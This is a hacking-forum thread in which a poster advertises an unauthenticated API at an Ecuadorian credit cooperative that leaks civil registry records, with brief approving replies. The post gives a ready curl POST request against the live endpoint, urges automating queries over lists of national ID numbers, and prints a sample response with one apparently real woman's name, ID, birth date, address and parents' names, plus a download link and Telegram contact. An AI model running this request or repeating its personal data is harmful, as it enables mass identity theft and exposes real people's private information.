🚨 CACPE PASTAZA (ECUADOR) 🇪🇨 - 18 MILLION ECUADORIANS EXPOSED 🚨

GondorPe · 06-05-26, 02:20 PM

FREE FREE FREE FREE FREE FREE FREE FREE

Civil Registry API compromised (pwned) – Full access to sensitive data

The identity validation API of CACPE Pastaza has been breached. An unprotected endpoint is exposing over 18 million records from the Ecuadorian Civil Registry database, with information updated as of today.

The exposed data can be queried in real time without any authentication. Anyone can obtain complete personal information simply by providing a valid national ID number (cédula).

🔗 Vulnerable API Endpoint:

https://micuentaonline.cacpepastaza.fin....emographic

📊 LEAKED DATA INCLUDES (per ID query):

• Full names
• National ID number (NUI)
• Date of birth
• Place of birth
• Home address
• Marital status
• Gender
• Nationality
• Father's and mother's names
• Profession
• Date of ID issuance
• Citizenship status

🔧 HOW TO EXPLOIT THE VULNERABILITY:

Send a POST request to the proxy endpoint. You can automate queries or build a dictionary of ID numbers.

📌 cURL EXAMPLE (replace identification_number with any ID):

curl -X POST "https://micuentaonline.cacpepastaza.fin.ec/api/proxy?path=https://api-rc.todo.legal/demographic" \
  -H "Content-Type: application/json" \
  -H "User-Agent: Mozilla/5.0" \
  -d '{
    "identification_number": "1710034065",
    "request_by": "CACPE",
    "request_by_user": "system",
    "source": "SC"
  }' \
  --insecure

📌 SAMPLE JSON RESPONSE:

{
  "Apellidos": "ESPINOSA FLORES",
  "Nombres": "DORA MARGARITA",
  "Nui": "1710034065",
  "FechaNacimiento": "06/04/1974",
  "LugarNacimiento": "PICHINCHA/QUITO/GUAYLLABAMBA",
  "Domicilio": "PICHINCHA/QUITO/GUAYLLABAMBA",
  "Calle": "BARRIO LA CONCEPCION",
  "NumeroCasa": "00000",
  "EstadoCivil": "DIVORCIADO",
  "Sexo": "MUJER",
  "Nacionalidad": "ECUATORIANA",
  "NombrePadre": "ESPINOSA CHAVEZ SINDULFO WILFRIDO",
  "NombreMadre": "FLORES GORDON MARTHA FABIOLA",
  "Profesion": "INGENIERA",
  "FechaCedulacion": "07/07/2021",
  "CondicionCedulado": "CIUDADANO",
  "CodigoError": "000",
  "Error": "CONSULTA REALIZADA.",
  "id": "9da853b6-559b-4276-806a-07fd3db36d90"
}

📸 EVIDENCE OF THE LEAK:

[Image: ksnip-20260506-031211.png]

Link download -------> https://gofile.io/d/oc1XX0

Telegram Contact ----> @GondorPe

FREE FREE FREE FREE

h4rv1c · 07-05-26, 01:29 AM

interesting

fundvapor · 07-05-26, 03:39 PM

Where is the record of 18 million?

purplepancake49 · 07-05-26, 11:22 PM

this is big time, thank you for sharing!

loliwaifu · 08-05-26, 05:03 AM

very nice